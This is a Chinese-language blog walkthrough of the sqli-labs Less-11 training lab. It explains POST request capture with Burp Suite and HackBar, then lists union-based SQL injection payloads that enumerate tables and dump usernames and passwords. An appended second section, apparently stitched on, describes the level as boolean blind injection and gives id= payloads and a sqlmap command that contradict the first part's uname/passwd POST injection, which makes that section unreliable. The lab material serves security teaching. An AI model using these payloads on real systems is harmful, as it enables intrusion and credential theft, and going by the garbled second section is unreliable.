sqli-labs (less-11)

sqli-labs (less-11)

补充知识

从第11关开始我们发现跟以前的页面已经完全不一样了,这里要我们输入用户名和密码

假设我们现在注册了一个账号,账号为admin,密码为admin,我们登入进去看看

登入进去之后我们发现屏幕上回显了我们输入的账号和密码,但是url那里却没有返回我们输入的账号和密码,因为前面的关卡我们输入的内容都是以GET方式传输到了服务端,而这里我们输入的账号密码是以POST的方法传输到了服务端

GET请求和POST请求的区别
GET请求:
GET方法用于获取请求页面的指定信息(以实体的格式)。如果请求资源为动态脚本(非HTML),那么返回文本是Web容器解析后的HTML源代码,而不是源文件。
POST请求:
POST方法也与GET方法相似,但最大的区别在于,GET方法没有请求内容,而POST是有请求内容的。POST请求最多用于向服务器发送大量的数据。GET虽然也能发送数据,但是有大小(长度)的限制,并且GET请求会将发送的数据显示在浏览器端,而POST则不会,所以安全性相对来说高一点

所以这里我们的目的就是要抓到以POST请求上传的内容,这里介绍两种方法

使用burpsuite抓包

我们先将账号密码输入到屏幕上,开启burpsuite后点击submit进行抓包

上面红框里面的内容就是我们以POST方式传输上去的内容

使用firefox扩展工具hackbar


我们输入账号密码登入进去以后,先点击Load url,再点击Post data,就可以查看到以POST方式传输上去的内容了


下面我们正式进入less-11

less-11

我们利用hackbar抓到POST包后,像前面的关卡一样我们先在admin的位置试试有没有SQL注入漏洞
我们发现当我们在Post data的位置输入

uname=admin'&passwd=admin&submit=Submit

时,系统报错,证明有SQL注入漏洞,并且为字符型注入

判断字段长度

输入uname=ad' order by 2#&passwd=admin&submit=Submit #回显正常
uname=ad' order by 3#&passwd=admin&submit=Submit #回显错误



判断字段数为2

确定回显位置

uname=ad' union select 1,2#&passwd=admin&submit=Submit


查看当前数据库及当前用户

uname=ad' union select user(),database()#&passwd=admin&submit=Submit


查看security库下的所有表

uname=ad' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#&passwd=admin&submit=Submit


查看users表下的所有字段

uname=ad' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#&passwd=admin&submit=Submit


查看username和password字段的值

uname=ad' union select 1,(select group_concat(username,password) from security.users)#&passwd=admin&submit=Submit

### 关于 SQL 注入测试的背景 SQL 注入是一种常见的安全漏洞,攻击者可以通过输入恶意的 SQL 查询语句来操控数据库。`sqli-labs` 是一个用于学习和实践 SQL 注入技术的开源项目,其中 `less-11` 提供了一个基于布尔盲注的学习场景。 为了通过浏览器插件 HackBar 来完成针对 `sqli-labs less-11` 的 SQL 注入测试,可以按照以下方法操作: --- ### 配置环境并启动目标服务 确保已正确安装并运行 `sqli-labs` 环境。访问地址通常为 `http://localhost/sqli-labs/Less-11/` 或其他配置好的路径[^1]。 --- ### 安装与设置 HackBar 插件 HackBar 是一款 Firefox 浏览器扩展工具,能够帮助用户快速修改 HTTP 请求中的参数。以下是具体步骤: #### 下载与启用 下载适用于 Firefox 的 HackBar 扩展,并将其激活以便后续使用。 #### 修改请求数据 打开目标页面后,在表单提交处右键选择 “Inspect Element”,找到对应的 `<form>` 和其子节点 `<input>` 字段。利用 HackBar 工具栏手动编辑这些字段的内容以注入自定义 SQL 语法[^2]。 --- ### 构造有效负载 Payload 对于 `less-11` 场景下的布尔型盲注,需要设计特定条件查询字符串来推断隐藏信息。例如尝试如下 payload: ```sql id=1' AND ASCII(SUBSTRING((SELECT database()),1,1))>97--+ ``` 上述例子会检查当前数据库名称的第一个字符是否大于字母 'a'(ASCII 值为 97),如果返回 true 则表明猜测成立;反之则失败[^3]。 还可以进一步优化成二分查找算法形式加快效率: ```sql id=1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 1),1,1)) BETWEEN 97 AND 104--+ ``` 此命令将限定范围缩小至 a-h 范围内的可能值[^4]。 --- ### 自动化辅助工具 SqlMap 应用实例 虽然手工构造 payloads 可加深理解原理,但在实际渗透测试工作中推荐借助自动化脚本提升工作效率。下面展示如何调用 Python 版本 sqlmap 对该实验案例发起批量探测: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-11/" --data="id=1" --dbs --level=5 --risk=3 ``` 这里 `-u` 参数指定目标 URL ,而 `--data` 明确指出 POST 方法传递的数据体部分 。另外增加选项如 `--columns`, `--dump` 等可提取更多细节资料。 --- ### 总结注意事项 始终记得合法合规前提下开展任何网络安全研究活动。以上仅作为教育用途分享技巧,请勿非法入侵他人系统! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

super 硕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值